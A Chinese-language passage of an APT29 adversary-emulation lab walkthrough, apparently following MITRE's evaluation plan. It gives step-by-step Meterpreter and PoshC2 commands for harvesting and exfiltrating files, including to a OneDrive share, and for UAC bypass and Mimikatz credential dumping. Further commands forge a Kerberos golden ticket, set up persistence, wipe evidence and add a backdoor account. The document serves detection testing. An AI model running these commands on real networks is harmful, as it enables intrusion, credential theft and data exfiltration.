                          攻击者在运行PowerShell单线命令(T1086)之前搜索其他文件(T1083,T1119),然后将其实用程序上载到第二受害者(T1105)。收集感兴趣的文件(T1005),然后加密(T1022)并压缩(T1002)为单个文件(T1074)。然后,该文件通过现有的C2连接进行窃听(T1041)。最后,攻击者删除与该访问关联的各种文件(T1107)。

                          9.A

                          进入meterpreter python会话

                          [msf] > sessions

                          [msf] >sessions -i 1

                          [meterpreter] > upload "/home/kali/payloads/day1/Seaduke/rar.exe" "C:\\Windows\\Temp\\Rar.exe"

                          [meterpreter] > upload "/home/kali/payloads/day1/SysinternalsSuite/sdelete64.exe" "C:\\Windows\\Temp\\sdelete64.exe"

                          9.B

                          [meterpreter] > execute -f powershell.exe -i -H

                          PS C:\Windows\system32> $env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*jack*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\working.zip -Force

                          PS C:\Program Files\SysinternalsSuite>cd C:\Windows\Temp

                          PS C:\Program Files\SysinternalsSuite>.\Rar.exe a -hpfGzq5yKw "$env:USERPROFILE\Desktop\working.zip" "$env:APPDATA\working.zip"

                          PS C:\Program Files\SysinternalsSuite> exit

                          [meterpreter] >download "C:\\Users\\jack\\Desktop\\working.zip" .

                          9.C

                          [meterpreter] >shell

                          [meterpreter (Shell)] > cd "C:\Windows\Temp"

                          [meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Windows\Temp\Rar.exe"

                          [meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Users\jack\AppData\Roaming\working.zip"

                          [meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Users\jack\Desktop\working.zip"

                          [meterpreter (Shell)] > del "C:\Windows\Temp\sdelete64.exe"

                          终止会话

                          [meterpreter (Shell)] >exit

                          [meterpreter] >exit

                          msf> exit

                          Step 10 – 持久性执行

                          初始受害者重新启动,使用合法用户登录,此活动将触发先前建立的持久性机制,即执行新服务(T1035)和Windows启动文件夹(T1060)中的有效负载。启动文件夹中的有效负载使用被盗的令牌执行后续的有效负载(T1106,T1134)。

                          10.A

                          重启初始受害者;等待系统启动。收到具有SYSTEM权限的meterpreter会话。

                          10.B

                          通过登录初始受害者打开我的电脑,双击C盘,触发启动文件夹的持久性。

                          清理后门

                          Cmd >sc delete “javamtsup”

                          Powershell > Remove-Item -Force -Path "HKLM:\SOFTWARE\Javasoft"

                          Powershell > Remove-Item "C:\Windows\System32\hostui.exe"

                          Powershell > Remove-Item "C:\Windows\System32\hostui.bat"

                          Powershell > Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\hostui.lnk"

                          清理两台受害者系统的C:\Windows\Temp目录。

                          第2天

                          红队设置

                            #新建poshC2项目$ posh-project -n p1#修改配置$ posh-config#开启服务$ posh-server#进入交互式$ posh

                            Payload生成

                            Payload1: schemas.ps1

                            /var/poshc2/p1/payloads/payload.bat,仅将编码部分插入$enc_ps(第11行)schemas.ps1

                            Payload2: stepFifteen_wmi.ps1

                            将/var/poshc2/p1/payloads/payload.bat所有内容复制到CommandLineTemplate变量

                            Payload3:stepFourteen_bypassUAC.ps1

                            将/var/poshc2/p1/payloads/payload.bat所有内容复制放入-Value变量(第二行)

                            Payload4:blob

                            在Windows主机上生成DLL负载:

                            1.[CMD]> certutil -encode [file].dll blob

                            2.[CMD]> powershell3.[PS]> $blob = (Get-Content .\blob) -join ""; $blob > .\blob

                            4.blob在文本编辑器中打开文件

                            5.删除文件末尾的新行并复制所有内容6.将值粘贴到$bin变量(第6行)中schemas.ps1

                            Payload5:stepFourteen_credDump.ps1

                            参考下方注释。

                            Payload6:Invoke-Mimikatz-Evals.ps1

                            把第1行函数名改为Invoke-Mimikatz-Evals,第886行注释,替换成 $GetProcAddress = $UnsafeNativeMethods.GetMethod(‘GetProcAddress’, [reflection.bindingflags] “Public,Static”, $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

                            参考:https://github.com/PowerShellMafia/PowerSploit/issues/293

                            受害者设置

                            对于最初的受害者(具有Microsoft Outlook的工作站):

                            1.启用对Microsoft Outlook的程序访问(https://www.slipstick.com/developer/change-programmatic-access-options/)2.打开Outlook并登录3.将以下文件复制到初始受害者的桌面上:

                            a) 2016_United_States_presidential_election_-_Wikipedia.html

                            b) make_lnk.ps1

                            c) schemas.ps1

                            4.复制MITRE-ATTACK-EVALS.HTML到受害者的“文档”文件夹中5.执行make_lnk.ps1(右键单击>使用PowerShell运行),将生成37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk6.拖动make_lnk.ps1和schemas.ps1到回收站,然后清空回收站

                            开始

                            Step 11 – 初始违规

                            最初的违规行为是合法用户单击(T1204)链接文件有效负载,该链接负载执行在隐藏的另一个伪文件(T1096)上执行的备用数据流(ADS),该伪文件是作为网络钓鱼活动的一部分提供的。ADS执行一系列枚举命令,以确保在通过Windows注册表运行键条目(T1060)建立持久性之前,它没有在虚拟化分析环境(T1497,T1082,T1120,T1033,T1016,T1057,T1083)中执行。嵌入式DLL有效负载,该有效负载已解码并拖放到磁盘(T1140)。然后,ADS执行PowerShell暂存器(T1086),该暂存器使用HTTPS协议(T1071,T1032)通过端口443(T1043)创建C2连接。

                            11.A

                            以apt.local\john用户身份执行37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk(双击),输出将显示在终端中。获得PoshC2会话。

                            Step 12 – 强化访问

                            攻击者修改了先前建立的持久性机制中使用的DLL有效载荷(T1099)的时间属性,以匹配在受害者的System32目录(T1083)中找到的随机文件的时间属性。然后,攻击者枚举Windows注册表(T1012)中记录的用户安装的已注册AV产品(T1063)和软件。

                            12.A

                            PS 1>loadmoduleforce /home/kali/payloads/day2/timestomp.ps1

                            PS 1>timestomp C:\Users\jack\AppData\Roaming\Microsoft\kxwn.lock

                            切换到posh-server查看日志

                            12.B

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepTwelve.ps1

                            PS 1> detectav

                            12.C

                            PS 1> software

                            Step 13 – 本地枚举

                            攻击者使用各种Windows API调用执行本地枚举,特别是收集本地计算机名(T1082),域名(T1063),当前用户上下文(T1016)和正在运行的进程(T1057)。

                            13.A

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepThirteen.ps1

                            PS 1> comp

                            13.B

                            PS 1> domain

                            13.C

                            PS 1> user

                            13.D

                            PS 1> pslist

                            Step 14 – 提权

                            攻击者通过用户帐户控制(UAC)绕过(T1122,T1088)提升特权。然后,攻击者使用新的提升的访问权限在自定义WMI类(T1047)中创建和执行代码,该类将下载(T1105)并执行Mimikatz来转储纯文本凭据(T1003),该纯文本凭据经过解析,编码和存储在WMI中 类(T1027)。在跟踪WMI执行已完成(T1057)之后,攻击者读取存储在WMI类中的纯文本凭据(T1140)。

                            14.A

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepFourteen_bypassUAC.ps1

                            PS 1> bypass

                            获得一个高权限新的会话。

                            14.B

                            Kali:

                            $ cd /home/kali/payloads/day2/$ python2 -m SimpleHTTPServer 8080

                            切换到新的高权限会话中

                            PS 2> loadmoduleforce /home/kali/payloads/day2/stepFourteen_credDump.ps1

                            PS 2> wmidump

                            切换到posh-server查看是否抓取到明文密码,如果没有参考受害者系统准备第8条。

                            Step 15 – 建立持久性

                            攻击者通过创建WMI事件订阅(T1084)以在当前用户(T1033)登录时执行PowerShell有效负载,来建立对受害者的持久访问的辅助手段。

                            15.A

                            PS 2>loadmoduleforce /home/kali/payloads/day2/stepFifteen_wmi.ps1

                            PS 2> wmi

                            注意:不要再次使用RDP登录访问,否则将触发打算用于步骤20的持久性执行。

                            Step 16 – 横向运动

                            攻击者通过Windows API(T1106)枚举环境的域控制器(T1018)和域的安全标识符(SID)(T1033)。接下来,攻击者使用以前转储的凭据(T1078)创建到域控制器的远程PowerShell会话(T1028)。通过此连接,攻击者将在步骤14中使用的Mimikatz二进制文件复制到域控制器(T1105),然后转储KRBTGT帐户的哈希(T1003)。

                            16.A

                            切换到低权限会话

                            PS 1> loadmoduleforce /home/kali/payloads/day2/powerview.ps1

                            PS 1>get-netdomaincontroller

                            16.B

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepSixteen_SID.ps1

                            PS 1>siduser

                            保存域 SID并删除 RID,Sid: S-1-5-21-374680414-1105030488-2607252970

                            16.C

                            切换到新的高权限会话中

                            PS 2>loadmoduleforce /home/kali/payloads/day2/Invoke-WinRMSession.ps1

                            PS 2> invoke-winrmsession -Username "apt.local\john" -Password "Passw0rd!" -IPAddress 10.0.0.100

                            PS 2>Invoke-Command -Session $oejtw -scriptblock {Get-Process} | out-string

                            记住session_id,注意:如果在此遇到错误,请重新启动域控制器,然后在重新执行16.C之前重新运行2个winrm安装程序命令。

                            16.D

                            PS 2> Copy-Item m.exe -Destination "C:\Windows\System32\" -ToSession $oejtw

                            PS 2> Invoke-Command -Session $oejtw -scriptblock {C:\Windows\System32\m.exe privilege::debug "lsadump::lsa /inject /name:krbtgt" exit} | out-string

                            PS 2> Get-PSSession | Remove-PSSession

                            保存NTLM hash,NTLM : 5fae7c899798b24d56c697f86e8cc7d6

                            Step 17 – 收集

                            攻击者在收集(T1005)和暂存(T1074)感兴趣的文件之前,先收集存储在本地电子邮件客户端(T1114)中的电子邮件。暂存文件将被压缩(T1002),并带有GIF文件类型的魔术字节(T1027)。

                            17.A

                            切换到低权限会话

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepSeventeen_email.ps1

                            PS 1> psemail

                            17.B

                            切换到新的高权限会话中

                            PS 2> New-Item -Path "C:\Windows\Temp\" -Name "WindowsParentalControlMigration" -ItemType "directory"

                            PS 2> Copy-Item "C:\Users\john\Documents\MITRE-ATTACK-EVALS.HTML" -Destination "C:\Windows\Temp\WindowsParentalControlMigration"

                            17.C

                            PS 2> loadmoduleforce /home/kali/payloads/day2/stepSeventeen_zip.ps1

                            PS 2> zip C:\Windows\Temp\WindowsParentalControlMigration.tmp C:\Windows\Temp\WindowsParentalControlMigration

                            Step 18 – 渗出

                            攻击者将本地驱动器映射到在线Web服务帐户(T1102),然后将先前暂存的数据提取到此存储库(T1048)。

                            18.A

                            获得OneDrive账户的CID (参考:https://www.laptopmag.com/articles/map-onedrive-network-drive)

                            PS 2> net use y: https://d.docs.live.net/E3_________C93 /user:apt.local@outlook.com "D{IFt&______-@XV"

                            PS 2> Copy-Item "C:\Windows\Temp\WindowsParentalControlMigration.tmp" -Destination "Y:\WindowsParentalControlMigration.tmp"

                            登录OneDrive查看。

                            Step 19 – 清理

                            攻击者通过在powershell.exe中反射性加载并执行Sdelete二进制文件(T1055),删除与该访问相关的各种文件(T1107)。

                            19.A

                            PS 2> loadmoduleforce /home/kali/payloads/day2/wipe.ps1

                            PS 2> wipe "C:\Windows\System32\m.exe"

                            注意:此处存在ETW的一个已知错误(Invoke-ReflectivePEInjection即时修补ETW调用的函数),因此callback可能会死机并挂起。

                            19.B

                            PS 2> wipe "C:\Windows\Temp\WindowsParentalControlMigration.tmp"

                            19.C PS 2> wipe "C:\Windows\Temp\WindowsParentalControlMigration\MITRE-ATTACK-EVALS.HTML"

                            Step 20 – 利用持久性

                            初始受害者重新启动,使用合法用户登录,此活动将触发先前建立的持久性机制,即Windows注册表运行键引用的DLL有效负载(T1085)的执行和WMI事件订阅(T1084),后者执行新的PowerShell暂存器(T1086)。攻击者使用来自先前漏洞的材料,使用新的访问权限来生成Kerberos Golden Ticket(T1097),该材料用于与新受害者建立远程PowerShell会话(T1028)。通过此连接,攻击者在域内创建一个新帐户(T1136)。

                            20.A

                            PS 2> restart-computer -force

                            使用RDP登录受害者系统,持久性机制应在登录时触发 (1 for DLL, 1 or more for WMI event subscription)

                            注意:您可能需要重复登录过程几次(关闭并重新打开RDP会话),WMI执行才能触发

                            20.B

                            切换到System权限的会话中

                            PS 3>klist purge

                            PS 3>loadmoduleforce /home/kali/payloads/day2/Invoke-Mimikatz-Evals.ps1

                            PS 3> Invoke-Mimikatz-Evals -command ""kerberos::golden /domain:apt.local /sid:S-1-5-21-374680414-1105030488-2607252970 /rc4:5fae7c899798b24d56c697f86e8cc7d6 /user:john /ptt""

                            PS 3> klist

                            PS 3> Enter-PSSession PC1

                            PS 3>Invoke-Command -ComputerName PC1 -ScriptBlock {net user /add toby "pamBeesly<3"}

                            清理后门

                            删除C:\Users\john\AppData\Roaming\Microsoft\kxwn.lock

                            使用Autoruns删除Logon中WebCache注册表

                            使用Autoruns删除WMI下的启动项

                            通过Azure Resource Manager (ARM)模板部署ATT&CK APT29评估环境

                            1.https://medium.com/threat-hunters-forge/mordor-labs-part-1-deploying-att-ck-apt29-evals-environments-via-arm-templates-to-create-1c6c4bc32c9a2.https://medium.com/threat-hunters-forge/mordor-labs-part-2-executing-att-ck-apt29-evals-emulation-plan-day1-17fae7a812293.https://medium.com/threat-hunters-forge/mordor-labs-part-3-executing-att-ck-apt29-evaluations-emulation-plan-day2-417cadc2a337

                            评估过程视频

                            Day 1 : https://youtu.be/fJAuBrzYTzI

                            Day 2 : https://youtu.be/PzYKvfwoHEY

                            参考链接

                            1.https://attackevals.mitre-engenuity.org/APT29/

                            2.https://mitre-attack.github.io/attack-navigator/enterprise/#layerURL=https%3A%2F%2Fraw.githubusercontent.com%2Fmitre-attack%2Fattack-evals%2Fmaster%2FAPT29_Round2_Navigator_layer.json

                            3.https://github.com/n1nj4sec/pupy

                            4.https://github.com/rapid7/metasploit-framework

                            5.https://github.com/nettitude/PoshC2

                            6.https://github.com/center-for-threat-informed-defense/adversary_emulation_library

                            7.https://github.com/carbonblack/tau-tools/tree/master/threat_emulation/Invoke-APT29

                            8.https://github.com/mitre-attack/attack-arsenal/tree/master/adversary_emulation/APT29

                            9.https://github.com/OTRF/detection-hackathon-apt29

                            10.https://www.carbonblack.com/blog/invoke-apt29-adversarial-threat-emulation/

                            11.https://github.com/nettitude/PoshC2/blob/master/resources/modules/Invoke-WinRMSession.ps1

                            12.https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

                            声明:本文来自山石网科安全技术研究院,版权归作者所有。文章内容仅代表作者独立观点,不代表士冗科技立场,转载目的在于传递更多信息。如有侵权,请联系 service@expshell.com。